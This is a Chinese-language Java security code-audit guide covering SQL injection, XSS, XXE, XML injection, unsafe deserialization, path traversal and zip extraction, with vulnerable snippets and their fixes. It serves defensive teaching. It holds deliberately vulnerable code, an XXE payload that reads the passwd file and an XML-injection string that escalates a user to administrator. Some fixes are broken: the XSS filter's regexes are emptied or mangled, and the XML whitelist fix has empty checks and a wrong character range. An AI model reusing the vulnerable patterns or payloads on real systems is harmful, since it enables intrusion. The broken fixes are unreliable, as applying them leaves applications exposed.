代碼審計[java安全編程]

SQL注入

介紹
注入攻擊的本質,是程序把用戶輸入的數據當做代碼執行。這裏有兩個關鍵條件,第一是用戶能夠控制輸入;第二是用戶輸入的數據被拼接到要執行的代碼中從而被執行。sql注入漏洞則是程序將用戶輸入數據拼接到了sql語句中,從而攻擊者即可構造、改變sql語義從而進行攻擊。
漏洞示例一:直接通過拼接sql
@RequestMapping("/SqlInjection/{id}")
public ModelAndView SqlInjectTest(@PathVariable String id){
String mysqldriver = "com.mysql.jdbc.Driver";
String mysqlurl = "jdbc:mysql://127.0.0.1:3306/test?user=root&password=123456&useUnicode=true&characterEncoding=utf8&autoReconnect=true";
String sql = "select * from user where id=" + id;
ModelAndView mav = new ModelAndView("test2");  
try{
Class.forName(mysqldriver);
Connection conn = DriverManager.getConnection(mysqlurl);
PreparedStatement pstt = conn.prepareStatement(sql);
ResultSet rs = pstt.executeQuery();
審計策略
這種一般可以直接黑盒找到,如果只是代碼片段快速掃描可控制的參數或者相關的sql關鍵字查看。
修復方案
見示例三

漏洞示例二:預編譯使用有誤
@RequestMapping("/SqlInjection/{id}")
public ModelAndView SqlInjectTest(@PathVariable String id){
String mysqldriver = "com.mysql.jdbc.Driver";
String mysqlurl = "jdbc:mysql://127.0.0.1:3306/test?user=root&password=123456&useUnicode=true&characterEncoding=utf8&autoReconnect=true";
String sql = "select * from user where id= ?";
ModelAndView mav = new ModelAndView("test2");  
try{
Class.forName(mysqldriver);
Connection conn = DriverManager.getConnection(mysqlurl);
PreparedStatement pstt = conn.prepareStatement(sql);
//pstt.setObject(1, id); //一般使用有誤的是沒有用這一句。編碼者以爲在上面的sql語句中直接使用佔位符就可以了。常見於新手寫的代碼中出現。
ResultSet rs = pstt.executeQuery();
審計策略
這種一般可以直接黑盒找到,如果只是代碼片段快速掃描可控制的參數或者相關的sql關鍵字查看。查看預編譯的完整性,關鍵函數定位setObject()、setInt()、setString()、setSQLXML()關聯上下文搜索set* 開頭的函數。 
修復方案
見示例三


漏洞示例三:%和_(oracle中模糊查詢)問題
@RequestMapping("/SqlInjection/{id}")
public ModelAndView SqlInjectTest(@PathVariable String id){
String mysqldriver = "com.mysql.jdbc.Driver";
String mysqlurl = "jdbc:mysql://127.0.0.1:3306/test?user=root&password=123456&useUnicode=true&characterEncoding=utf8&autoReconnect=true";
String sql = "select * from user where id= ?";
ModelAndView mav = new ModelAndView("test2");  
try{
Class.forName(mysqldriver);
Connection conn = DriverManager.getConnection(mysqlurl);
PreparedStatement pstt = conn.prepareStatement(sql);
pstt.setObject(1, id); //使用預編譯
ResultSet rs = pstt.executeQuery();
審計策略
定位相關sql語句上下文,查看是否有顯式過濾機制。 
修復方案
上面的代碼片段即使這樣依然存在sql注入,原因是沒有手動過濾%。預編譯是不能處理這個符號的,所以需要手動過濾,否則會造成慢查詢,造成dos。


漏洞示例四:order by問題
String sql = “Select * from news where title =?”+ “order by ‘” + time + “’asc”
審計策略
定位相關sql語句上下文,查看是否有顯式過濾機制。
修復方案
類似上面的這種sql語句 order by 後面是不能用預編譯處理的只能通過拼接處理,所以需要手動過濾。

 

中間件框架sql注入

 

Mybatis框架
漏洞示例一:like語句
Select * from news where title like ‘%#{title}%’
這樣寫程序會報錯,研發人員將SQL查詢語句修改如下:
Select * from news where title like ‘%${title}%’
這時候程序將不再報錯但是可能會造成sql注入。
審計策略
在註解中或者Mybatis相關的配置文件中搜索 $ 。然後查看相關sql語句上下文環境。
修復方案
採用下面的寫法
select * from news where tile like concat(‘%’,#{title}, ‘%’)並且上下文環境中手動過濾%


漏洞示例二:in 語句
Select * from news where id in (#{id}),
這樣寫程序會報錯,研發人員將SQL查詢語句修改如下:
Select * from news where id in (${id}),
修改SQL語句之後,程序停止報錯,但是可能會產生SQL注入漏洞。
審計策略
在註解中或者Mybatis相關的配置文件中搜索 $ 。然後查看相關sql語句上下文環境。
修復方案
採用下面寫法
select * from news where id in
<foreach collection="ids" item="item" open="("separator="," close=")">#{item} </foreach>


漏洞示例三:order by 語句
Select * from news where title =‘java代碼審計’ order by #{time} asc,
這樣寫程序會報錯,研發人員將SQL查詢語句修改如下:
Select * from news where title =‘java代碼審計’ order by ${time} asc,
修改之後,程序通過但可能會造成sql注入問題
審計策略
在註解中或者Mybatis相關的配置文件中搜索 $ 。然後查看相關sql語句上下文環境。
修復方案
手動過濾用戶的輸入。


Hibernate 框架
漏洞示例
session.createQuery("from Book where title like '%" + userInput + "%' and published = true")
審計策略
搜索createQuery()函數,查看與次函數相關的上下文。
修復方案
採用類似如下的方法
方法一
Query query=session.createQuery(“from User user where user.name=:customername and user:customerage=:age ”); 
query.setString(“customername”,name); 
query.setInteger(“customerage”,age);
方法二
Query query=session.createQuery(“from User user where user.name=? and user.age =? ”); 
query.setString(0,name); 
query.setInteger(1,age);
方法三
String hql=”from User user where user.name=:customername ”; 
Query query=session.createQuery(hql); 
query.setParameter(“customername”,name,Hibernate.STRING);
方法四
Customer customer=new Customer(); 
customer.setName(“pansl”); 
customer.setAge(80); 
Query query=session.createQuery(“from Customer c where c.name=:name and c.age=:age ”); 
query.setProperties(customer);

 

XSS

 

介紹
對於和後端有交互的地方沒有做參數的接收和輸入輸出過濾,導致惡意攻擊者可以插入一些惡意的js語句來獲取應用的敏感信息。

漏洞示例
@RequestMapping("/xss")
public ModelAndView xss(HttpServletRequest request,HttpServletResponse response) throws ServletException,IOException{
  String name = request.getParameter("name");	
      ModelAndView mav = new ModelAndView("mmc");
      mav.getModel().put("uname", name);
      return mav;	
}
審計策略
掃描所有的HttpServletRequest 查看相關的上下文環境。
修復方案
方案一
全局編寫過濾器
1、首先配置web.xml,添加如下配置信息:
<filter>  
    <filter-name>xssAndSqlFilter</filter-name>  
    <filter-class>com.cup.cms.web.framework.filter.XssAndSqlFilter</filter-class>  
</filter>  
<filter-mapping>  
    <filter-name>xssAndSqlFilter</filter-name>  
    <url-pattern>*</url-pattern>  
</filter-mapping>  
2、編寫過濾器
public class XSSFilter implements Filter {
    @Override
    public void init(FilterConfig filterConfig) throws ServletException {
    }
    @Override
    public void destroy() {
    }
    @Override
    public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain)
        throws IOException, ServletException {
        chain.doFilter(new XSSRequestWrapper((HttpServletRequest) request), response);
    }
}
3、再實現 ServletRequest 的包裝類


import java.util.regex.Pattern;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletRequestWrapper;
public class XSSRequestWrapper extends HttpServletRequestWrapper {
    public XSSRequestWrapper(HttpServletRequest servletRequest) {
        super(servletRequest);
    }
    @Override
    public String[] getParameterValues(String parameter) {
        String[] values = super.getParameterValues(parameter);
        if (values == null) {
            return null;
        }
        int count = values.length;
        String[] encodedValues = new String[count];
        for (int i = 0; i < count; i++) {
            encodedValues[i] = stripXSS(values[i]);
        }
        return encodedValues;
    }
    @Override
    public String getParameter(String parameter) {
        String value = super.getParameter(parameter);
        return stripXSS(value);
    }
    @Override
    public String getHeader(String name) {
        String value = super.getHeader(name);
        return stripXSS(value);
    }
    private String stripXSS(String value) {
        if (value != null) {
            // NOTE: It's highly recommended to use the ESAPI library and uncomment the following line to
            // avoid encoded attacks.
            // value = ESAPI.encoder().canonicalize(value);
            // Avoid null characters
            value = value.replaceAll("", "");
            // Avoid anything between script tags
            Pattern scriptPattern = Pattern.compile("(.*?)", Pattern.CASE_INSENSITIVE);
            value = scriptPattern.matcher(value).replaceAll("");
            // Avoid anything in a src="http://www.yihaomen.com/article/java/..." type of e¬xpression
            scriptPattern = Pattern.compile("src[\r\n]*=[\r\n]*\\\'(.*?)\\\'", Pattern.CASE_INSENSITIVE | Pattern.MULTILINE | Pattern.DOTALL);
            value = scriptPattern.matcher(value).replaceAll("");
            scriptPattern = Pattern.compile("src[\r\n]*=[\r\n]*\\\"(.*?)\\\"", Pattern.CASE_INSENSITIVE | Pattern.MULTILINE | Pattern.DOTALL);
            value = scriptPattern.matcher(value).replaceAll("");
            // Remove any lonesome  tag
            scriptPattern = Pattern.compile("", Pattern.CASE_INSENSITIVE);
            value = scriptPattern.matcher(value).replaceAll("");
            // Remove any lonesome  tag
            scriptPattern = Pattern.compile("", Pattern.CASE_INSENSITIVE | Pattern.MULTILINE | Pattern.DOTALL);
            value = scriptPattern.matcher(value).replaceAll("");
            // Avoid eval(...) e¬xpressions
            scriptPattern = Pattern.compile("eval\\((.*?)\\)", Pattern.CASE_INSENSITIVE | Pattern.MULTILINE | Pattern.DOTALL);
            value = scriptPattern.matcher(value).replaceAll("");
            // Avoid e¬xpression(...) e¬xpressions
            scriptPattern = Pattern.compile("e¬xpression\\((.*?)\\)", Pattern.CASE_INSENSITIVE | Pattern.MULTILINE | Pattern.DOTALL);
            value = scriptPattern.matcher(value).replaceAll("");
            // Avoid javascript:... e¬xpressions
            scriptPattern = Pattern.compile("javascript:", Pattern.CASE_INSENSITIVE);
            value = scriptPattern.matcher(value).replaceAll("");
            // Avoid vbscript:... e¬xpressions
            scriptPattern = Pattern.compile("vbscript:", Pattern.CASE_INSENSITIVE);
            value = scriptPattern.matcher(value).replaceAll("");
            // Avoid οnlοad= e¬xpressions
            scriptPattern = Pattern.compile("onload(.*?)=", Pattern.CASE_INSENSITIVE | Pattern.MULTILINE | Pattern.DOTALL);
            value = scriptPattern.matcher(value).replaceAll("");
        }
        return value;
    }
}
方法二
首先添加一個jar包:commons-lang-2.5.jar ,然後在後臺調用這些函數:
StringEscapeUtils.escapeHtml(string); 
StringEscapeUtils.escapeJavaScript(string); 
StringEscapeUtils.escapeSql(string);
方法三
org.springframework.web.util.HtmlUtils 可以實現HTML標籤及轉義字符之間的轉換。
代碼如下: 
/** HTML轉義 **/  
String string = HtmlUtils.htmlEscape(userinput);  //轉義
String s2 = HtmlUtils.htmlUnescape(string);  //轉成原來的

 

XXE

 

介紹
XML文檔結構包括XML聲明、DTD文檔類型定義(可選)、文檔元素。文檔類型定義(DTD)的作用是定義 XML 文檔的合法構建模塊。DTD 可以在 XML 文檔內聲明,也可以外部引用。
內部聲明DTD:
引用外部DTD:
當允許引用外部實體時,惡意攻擊者即可構造惡意內容訪問服務器資源,如讀取passwd文件:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE replace [
<!ENTITY test SYSTEM "file:///ect/passwd">]>
<msg>&test;</msg>
漏洞示例
此處以org.dom4j.io.SAXReader爲例,僅展示部分代碼片段:
String xmldata = request.getParameter("data");
SAXReader sax=new SAXReader();//創建一個SAXReader對象
Document document=sax.read(new ByteArrayInputStream(xmldata.getBytes()));//獲取document對象,如果文檔無節點,則會拋出Exception提前結束
Element root=document.getRootElement();//獲取根節點
List rowList = root.selectNodes("//msg");
Iterator<?> iter1 = rowList.iterator();
if (iter1.hasNext()) {
    Element beanNode = (Element) iter1.next();
    modelMap.put("success",true);
    modelMap.put("resp",beanNode.getTextTrim());
}
...
審計策略
XML解析一般在導入配置、數據傳輸接口等場景可能會用到,涉及到XML文件處理的場景可留意下XML解析器是否禁用外部實體,從而判斷是否存在XXE。部分XML解析接口如下:
javax.xml.parsers.DocumentBuilder
javax.xml.stream.XMLStreamReader
org.jdom.input.SAXBuilder
org.jdom2.input.SAXBuilder
javax.xml.parsers.SAXParser
org.dom4j.io.SAXReader 
org.xml.sax.XMLReader
javax.xml.transform.sax.SAXSource 
javax.xml.transform.TransformerFactory 
javax.xml.transform.sax.SAXTransformerFactory 
javax.xml.validation.SchemaFactory
javax.xml.bind.Unmarshaller
javax.xml.xpath.XPathExpression


XMLInputFactory (a StAX parser)
xmlInputFactory.setProperty(XMLInputFactory.SUPPORT_DTD, false); // This disables DTDs entirely for that factory
xmlInputFactory.setProperty("javax.xml.stream.isSupportingExternalEntities", false); // disable external entities


TransformerFactory
TransformerFactory tf = TransformerFactory.newInstance();
tf.setAttribute(XMLConstants.ACCESS_EXTERNAL_DTD, "");
tf.setAttribute(XMLConstants.ACCESS_EXTERNAL_STYLESHEET, "");


Validator
SchemaFactory factory = SchemaFactory.newInstance("http://www.w3.org/2001/XMLSchema");
Schema schema = factory.newSchema();
Validator validator = schema.newValidator();
validator.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, "");
validator.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, "");


SchemaFactory
SchemaFactory factory = SchemaFactory.newInstance("http://www.w3.org/2001/XMLSchema");
factory.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, "");
factory.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, "");
Schema schema = factory.newSchema(Source);


SAXTransformerFactory
SAXTransformerFactory sf = SAXTransformerFactory.newInstance();
sf.setAttribute(XMLConstants.ACCESS_EXTERNAL_DTD, "");
sf.setAttribute(XMLConstants.ACCESS_EXTERNAL_STYLESHEET, "");
sf.newXMLFilter(Source);
Note: Use of the following XMLConstants requires JAXP 1.5, which was added to Java in 7u40 and Java 8:
javax.xml.XMLConstants.ACCESS_EXTERNAL_DTD
javax.xml.XMLConstants.ACCESS_EXTERNAL_SCHEMA
javax.xml.XMLConstants.ACCESS_EXTERNAL_STYLESHEET


XMLReader
XMLReader reader = XMLReaderFactory.createXMLReader();
reader.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
reader.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false); // This may not be strictly required as DTDs shouldn't be allowed at all, per previous line.
reader.setFeature("http://xml.org/sax/features/external-general-entities", false);
reader.setFeature("http://xml.org/sax/features/external-parameter-entities", false);


SAXReader
saxReader.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
saxReader.setFeature("http://xml.org/sax/features/external-general-entities", false);
saxReader.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
Based on testing, if you are missing one of these, you can still be vulnerable to an XXE attack.


SAXBuilder
SAXBuilder builder = new SAXBuilder();
builder.setFeature("http://apache.org/xml/features/disallow-doctype-decl",true);
builder.setFeature("http://xml.org/sax/features/external-general-entities", false);
builder.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
Document doc = builder.build(new File(fileName));


Unmarshaller
SAXParserFactory spf = SAXParserFactory.newInstance();
spf.setFeature("http://xml.org/sax/features/external-general-entities", false);
spf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
spf.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false);
Source xmlSource = new SAXSource(spf.newSAXParser().getXMLReader(), new InputSource(new StringReader(xml)));
JAXBContext jc = JAXBContext.newInstance(Object.class);
Unmarshaller um = jc.createUnmarshaller();
um.unmarshal(xmlSource);


XPathExpression
DocumentBuilderFactory df = DocumentBuilderFactory.newInstance();	
df.setAttribute(XMLConstants.ACCESS_EXTERNAL_DTD, ""); 
df.setAttribute(XMLConstants.ACCESS_EXTERNAL_SCHEMA, ""); 
DocumentBuilder builder = df.newDocumentBuilder();
String result = new XPathExpression().evaluate( builder.parse(new ByteArrayInputStream(xml.getBytes())) );
修復方案
使用XML解析器時需要設置其屬性,禁止使用外部實體,以上例中SAXReader爲例,安全的使用方式如下:
sax.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
sax.setFeature("http://xml.org/sax/features/external-general-entities", false);
sax.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
其它XML解析器的安全使用可參考OWASP XML External Entity (XXE) Prevention Cheat Sheet
https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Prevention_Cheat_Sheet#Java

 

XML問題

介紹
使用不可信數據來構造XML會導致XML注入漏洞。一個用戶,如果他被允許輸入結
構化的XML片段,則他可以在XML的數據域中注入XML標籤來改寫目標XML文檔的結構與
內容。XML解析器會對注入的標籤進行識別和解釋。
漏洞示例
private void createXMLStream(BufferedOutputStream outStream, User user) throws
IOException
{
String xmlString;
xmlString = "<user><role>operator</role><id>" + user.getUserId()
+ "</id><description>" + user.getDescription() +
"</description></user>";
outStream.write(xmlString.getBytes());
outStream.flush();
}
某個惡意用戶可能會使用下面的字符串作爲用戶ID:"joe</id><role>administrator</role><id>joe"並使用如下正常的輸入作爲描述字段:
"I want to be an administrator"最終,整個XML字符串將變成如下形式:
<user>
<role>operator</role>
<id>joe</id>
<role>administrator</role>
<id>joe</id>
<description>I want to be an administrator</description>
</user>
由於SAX解析器(org.xml.sax and javax.xml.parsers.SAXParser)在解釋XML文檔時會將第二個role域的值覆蓋前一個role域的值,因此導致此用戶角色由操作員提升爲了管理員。
審計策略
全局搜索如下字符串
StreamSource
XMLConstants
StringReader
在項目中搜索. Xsd文件
修復方案
private void createXMLStream(BufferedOutputStream outStream, User user) throws
IOException
{
if (!Pattern.matches("[_a-bA-B0-9]+", user.getUserId()))
{
}
if (!Pattern.matches("[_a-bA-B0-9]+", user.getDescription()))
{
}
String xmlString = "<user><id>" + user.getUserId()
+ "</id><role>operator</role><description>"
+ user.getDescription() + "</description></user>";
outStream.write(xmlString.getBytes());
outStream.flush();
}
這個方法使用白名單的方式對輸入進行清理,要求輸入的userId字段中只能包含字母、數
字或者下劃線。
public static void buidlXML(FileWriter writer, User user) throws IOException
{
Document userDoc = DocumentHelper.createDocument();
Element userElem = userDoc.addElement("user");
Element idElem = userElem.addElement("id");
idElem.setText(user.getUserId());
Element roleElem = userElem.addElement("role");
roleElem.setText("operator");
Element descrElem = userElem.addElement("description");
descrElem.setText(user.getDescription());
XMLWriter output = null;
try
{
OutputFormat format = OutputFormat.createPrettyPrint();
format.setEncoding("UTF-8");
output = new XMLWriter(writer, format);
output.write(userDoc);
output.flush();
}
finally
{
try
{
output.close();
}
catch (Exception e)
{
}
}
}
這個正確示例使用dom4j來構建XML,dom4j是一個良好定義的、開源的XML工具庫。Dom4j
將會對文本數據域進行XML編碼,從而使得XML的原始結構和格式免受破壞。

 

反序列化漏洞

介紹
序列化是讓 Java 對象脫離 Java 運行環境的一種手段,可以有效的實現多平臺之間的通信、對象持久化存儲。只有實現了Serializable和Externalizable接口的類的對象才能被序列化。
Java程序使用ObjectInputStream對象的readObject方法將反序列化數據轉換爲java對象。但當輸入的反序列化的數據可被用戶控制,那麼攻擊者即可通過構造惡意輸入,讓反序列化產生非預期的對象,在此過程中執行構造的任意代碼。
漏洞示例
示例一 反序列化造成的代碼執行
漏洞代碼示例如下:
......
//讀取輸入流,並轉換對象
InputStream in=request.getInputStream();
ObjectInputStream ois = new ObjectInputStream(in);
//恢復對象
ois.readObject();
ois.close();
上述代碼中,程序讀取輸入流並將其反序列化爲對象。此時可查看項目工程中是否引入可利用的commons-collections 3.1、commons-fileupload 1.3.1等第三方庫,即可構造特定反序列化對象實現任意代碼執行。相關三方庫及利用工具可參考ysoserial、marshalsec。
審計策略
HTTP:多平臺之間的通信,管理等
RMI:是Java的一組擁護開發分佈式應用程序的API,實現了不同操作系統之間程序的方法調用。值得注意的是,RMI的傳輸100%基於反序列化,Java RMI的默認端口是1099端口。
JMX:JMX是一套標準的代理和服務,用戶可以在任何Java應用程序中使用這些代理和服務實現管理,中間件軟件WebLogic的管理頁面就是基於JMX開發的,而JBoss整個系統都基於JMX構架。
確定反序列化輸入點:首先應找出readObject方法調用,在找到之後進行下一步的注入操作。一般可以通過以下方法進行查找:
     1)尋找可以利用的“靶點”,即確定調用反序列化函數readObject的調用地點。
       2)對該應用進行網絡行爲抓包,尋找序列化數據,如wireshark,tcpdump等
     注: java序列化的數據一般會以標記(ac ed 00 05)開頭,base64編碼後的特徵爲rO0AB。
反序列化操作一般在導入模版文件、網絡通信、數據傳輸、日誌格式化存儲、對象數據落磁盤或DB存儲等業務場景,在代碼審計時可重點關注一些反序列化操作函數並判斷輸入是否可控,如下:
ObjectInputStream.readObject
ObjectInputStream.readUnshared
XMLDecoder.readObject
Yaml.load
XStream.fromXML
ObjectMapper.readValue
JSON.parseObject
...
修復方案
如果可以明確反序列化對象類的則可在反序列化時設置白名單,對於一些只提供接口的庫則可使用黑名單設置不允許被反序列化類或者提供設置白名單的接口,可通過Hook函數resolveClass來校驗反序列化的類從而實現白名單校驗,示例如下:
public class AntObjectInputStream extends ObjectInputStream{
    public AntObjectInputStream(InputStream inputStream)
            throws IOException {
        super(inputStream);
    }


    /**
     * 只允許反序列化SerialObject class
     */
    @Override
    protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException,
            ClassNotFoundException {
        if (!desc.getName().equals(SerialObject.class.getName())) {
            throw new InvalidClassException(
                    "Unauthorized deserialization attempt",
                    desc.getName());
        }
        return super.resolveClass(desc);
    }
}
也可以使用Apache Commons IO Serialization包中的ValidatingObjectInputStream類的accept方法來實現反序列化類白/黑名單控制,如果使用的是第三方庫則升級到最新版本。
示例二 反序列化造成的權限問題
Serializable 的類的固有序列化方法包括 readObject,writeObject。
Serializable 的類的固有序列化方法,還包括 readResolve,writeReplace。
它們是爲了單例 (singleton) 類而專門設計的。
根據權限最小化原則,一般情況下這些方法必須被聲明爲 private void。否則如果 Serializable 的類開放 writeObject 函數爲 public 的話,給非受信調用者過高權限,潛在有風險。有些情況下, 比如 Serializable 的類是 Extendable, 被子類繼承了,爲了確保子類也能訪問方法,那麼這些方法必須被聲明爲 protected,而不是 private。
審計策略
人工搜索文本
public * writeObject
public * readObject
public * readResolve
public * writeReplace
修復方案
視情況根據上下文而定,比如修改爲
private void writeObject
private void readObject
protected Object readResolve
protected Object writeReplace
示例三 反序列化造成的敏感信息泄露
在 Java 環境中,允許處於不同受信域的組件進行數據通信,從而出現跨受信邊界的數據傳輸。不要序列化未加密的敏感數據;不要允許序列化繞過安全管理器。
public class GPSLocation implements Serializable
{
private double x; // sensitive field
private double y; // sensitive field
private String id;// non-sensitive field
// other content
}
public class Coordinates
{
public static void main(String[] args)
{
FileOutputStream fout = null;
try
{
GPSLocation p = new GPSLocation(5, 2, "northeast");
fout = new FileOutputStream("location.ser");
ObjectOutputStream oout = new ObjectOutputStream(fout);
oout.writeObject(p);
oout.close();
}
catch (Throwable t)
{
// Forward to handler
}
finally
{
if (fout != null)
{
try
{
fout.close();
}
catch (IOException x)
{
// handle error
}
}
}
}
}
在這段示例代碼中,假定座標信息是敏感的,那麼將其序列化到數據流中使之面臨敏感信息泄露與被惡意篡改的風險。
審計策略
要根據實際業務場景定義敏感數據。對於已經被確定爲敏感的數據搜索示例一中相關的關鍵字。
修復方案
上面漏洞示例中的正確寫法如下
public class GPSLocation implements Serializable
{
private transient double x; // transient field will not be serialized
private transient double y; // transient field will not be serialized
private String id;
// other content
}
要根據實際情況修復。 一般情況下,一旦定位,修復方法是將相關敏感數據聲明爲 transient,這樣程序保證敏感數據從序列化格式中忽略的。
正確示例( serialPersistentFields ) :
public class GPSLocation implements Serializable
{
private double x;
private double y;
private String id;
// sensitive fields x and y are not content in serialPersistentFields
private static final ObjectStreamField[] serialPersistentFields = {new
ObjectStreamField("id", String.class)};
// other content
}
該示例通過定義serialPersistentFields數組字段來確保敏感字段被排除在序列化之外,除了上述方案,也可以通過自定義writeObject()、writeReplace()、writeExternal()這些函數,不將包含敏感信息的字段寫到序列化字節流中。特殊情況下,正確加密了的敏感數據可以被序列化。


示例四 靜態內部類的序列化問題
對非靜態內部類的序列化依賴編譯器,且隨着平臺的不同而不同,容易產生錯誤。
對內部類的序列化會導致外部類的實例也被序列化。這樣有可能泄露敏感數據。
public class DistributeData implements  SerializedName{
 public class CodeDetail {...}
}
CodeDetail並不會被序列化。
public class DistributeData implements  SerializedName{
 public class CodeDetail implements  SerializedName{...}
}
報NotSerializableException,查錯誤,CodeDetail這個類雖然實現了Serializable接口,但CodeDetail在項目中是以內部類的形式定義的。
public class DistributeData implements  SerializedName{
 public static class CodeDetail implements  SerializedName{...}
}
上面的這種形式可以被序列化但是容易造成敏感信息泄露。
審計策略
人工查找 implements Serializable 的所有內部類
修復方案
class ${InnerSer} {}
去除內部類的序列化。
static class ${InnerSer} implements Serializable {}
把內部類聲明爲靜態從而被序列化。但是要注意遵循示例三中的敏感信息問題

 

 

 

路徑安全

介紹
不安全的路徑獲取或者使用會使黑客容易繞過現有的安全防護。
黑客可以改用包含 ../序列的參數來指定位於特定目錄之外的文件,從而違反程序安全策略,引發路徑遍歷漏洞,攻擊者可能可以向任意目錄上傳文件。
漏洞示例
Java 一般路徑 getPath(), 絕對路徑 getAbsolutePath() 和規範路徑 getCanonicalPath() 不同。
舉例在 workspace 中新建 myTestPathPrj 工程,運行如下代碼
public static void testPath() throws Exception{
File file = new File("..\\src\\ testPath.txt");
System.out.println(file.getAbsolutePath());
System.out.println(file.getCanonicalPath());
}
得到的結果形如:
E:\workspace\myTestPathPrj\..\src\ testPath.txt
E:\ workspace\src\ testPath.txt

審計策略
查找 getPath, getAbsolutePath。
再排查程序的安全策略配置文件,搜索 permission Java.io.FilePermission 字樣和 grant 字樣,防止誤報。換句話說,如果 IO 方案中已經做出防禦。只爲程序的絕對路徑賦予讀寫權限,其他目錄不賦予讀寫權限。那麼目錄系統還是安全的。


修復方案
儘量使用 getCanonicalPath()。
或者使用安全管理器,或者使用安全配置策略文件。如何配置安全策略文件,和具體使用的 web server 相關。
File.getCanonicalPath()方法,它能在所有的平臺上對所有別名、快捷方式以及符號鏈接進行一致地解析。特殊的文件名,比如“..”會被移除,這樣輸入在驗證之前會被簡化成對應的標準形式。當使用標準形式的文件路徑來做驗證時,攻擊者將無法使用../序列來跳出指定目錄。

 

Zip文件提取

介紹
從java.util.zip.ZipInputStream中解壓文件時需要小心謹慎。有兩個特別的
問題需要避免:一個是提取出的文件標準路徑落在解壓的目標目錄之外,另一個是提取出的
文件消耗過多的系統資源。對於前一種情況,攻擊者可以從zip文件中往用戶可訪問的任何
目錄寫入任意的數據。對於後一種情況,當資源使用遠遠大於輸入數據所使用的資源的時,
就可能會發生拒絕服務的問題。Zip算法的本性就可能會導致zip炸彈(zip bomb)的出現,
由於極高的壓縮率,即使在解壓小文件時,比如ZIP、GIF,以及gzip編碼的HTTP內容,也
可能會導致過度的資源消耗。
漏洞示例
static final int BUFFER = 512;
// ...
public final void unzip(String fileName) throws java.io.IOException
{
FileInputStream fis = new FileInputStream(fileName);
ZipInputStream zis = new ZipInputStream(new BufferedInputStream(fis));
ZipEntry entry;
while ((entry = zis.getNextEntry()) != null)
{
System.out.println("Extracting: " + entry);
int count;
byte data[] = new byte[BUFFER];
// Write the files to the disk
FileOutputStream fos = new FileOutputStream(entry.getName());
BufferedOutputStream dest = new BufferedOutputStream(fos, BUFFER);
while ((count = zis.read(data, 0, BUFFER)) != -1)
{
dest.write(data, 0, count);
}
dest.flush();
dest.close();
zis.closeEntry();
}
zis.close();
}
在這個錯誤示例中,未對解壓的文件名做驗證,直接將文件名傳遞給FileOutputStream構造器。它也未檢查解壓文件的資源消耗情況,它允許程序運行到操作完成或者本地資源被耗盡。
public static final int BUFFER = 512;
public static final int TOOBIG = 0x6400000; // 100MB
// ...
public final void unzip(String filename) throws java.io.IOException
{
FileInputStream fis = new FileInputStream(filename);
ZipInputStream zis = new ZipInputStream(new BufferedInputStream(fis));
ZipEntry entry;
try
{
while ((entry = zis.getNextEntry()) != null)
{
System.out.println("Extracting: " + entry);
int count;
byte data[] = new byte[BUFFER];
// Write the files to the disk, but only if the file is not insanely
big
if (entry.getSize() > TOOBIG)
{
throw new IllegalStateException(
"File to be unzipped is huge.");
}
if (entry.getSize() == -1)
{
throw new IllegalStateException(
"File to be unzipped might be huge.");
}
FileOutputStream fos = new FileOutputStream(entry.getName());
BufferedOutputStream dest = new BufferedOutputStream(fos,
BUFFER);
while ((count = zis.read(data, 0, BUFFER)) != -1)
{
dest.write(data, 0, count);
}
dest.flush();
dest.close();
zis.closeEntry();
}
}
finally
{
zis.close();
}
}
這個錯誤示例調用ZipEntry.getSize()方法在解壓提取一個條目之前判斷其大小,以試圖解決之前的問題。但不幸的是,惡意攻擊者可以僞造ZIP文件中用來描述解壓條目大小的字段,因此,getSize()方法的返回值是不可靠的,本地資源實際仍可能被過度消耗。
審計策略
全局搜索如下關鍵字或者方法
FileInputStream
ZipInputStream
getSize()
ZipEntry
如果出現getSize基本上就需要特別注意了。
修復方案
static final int BUFFER = 512;
static final int TOOBIG = 0x6400000; // max size of unzipped data, 100MB
static final int TOOMANY = 1024; // max number of files
// ...
private String sanitzeFileName(String entryName, String intendedDir) throws
IOException
{
File f = new File(intendedDir, entryName);
String canonicalPath = f.getCanonicalPath();
File iD = new File(intendedDir);
String canonicalID = iD.getCanonicalPath();
if (canonicalPath.startsWith(canonicalID))
{
return canonicalPath;
}
else
{
throw new IllegalStateException(
"File is outside extraction target directory.");
}
}
// ...
public final void unzip(String fileName) throws java.io.IOException
{
FileInputStream fis = new FileInputStream(fileName);
ZipInputStream zis = new ZipInputStream(new BufferedInputStream(fis));
ZipEntry entry;
int entries = 0;
int total = 0;
byte[] data = new byte[BUFFER];
try
{
while ((entry = zis.getNextEntry()) != null)
{
System.out.println("Extracting: " + entry);
int count;
// Write the files to the disk, but ensure that the entryName is valid,
// and that the file is not insanely big
String name = sanitzeFileName(entry.getName(), ".");
FileOutputStream fos = new FileOutputStream(name);
BufferedOutputStream dest = new BufferedOutputStream(fos, BUFFER);
while (total + BUFFER <= TOOBIG && (count = zis.read(data, 0, BUFFER)) !=
-1)
{
dest.write(data, 0, count);
total += count;
}
dest.flush();
dest.close();
zis.closeEntry();
entries++;
if (entries > TOOMANY)
{
throw new IllegalStateException("Too many files to unzip.");
}
if (total > TOOBIG)
{
throw new IllegalStateException(
"File being unzipped is too big.");
}
}
}
finally
{
zis.close();
}
}
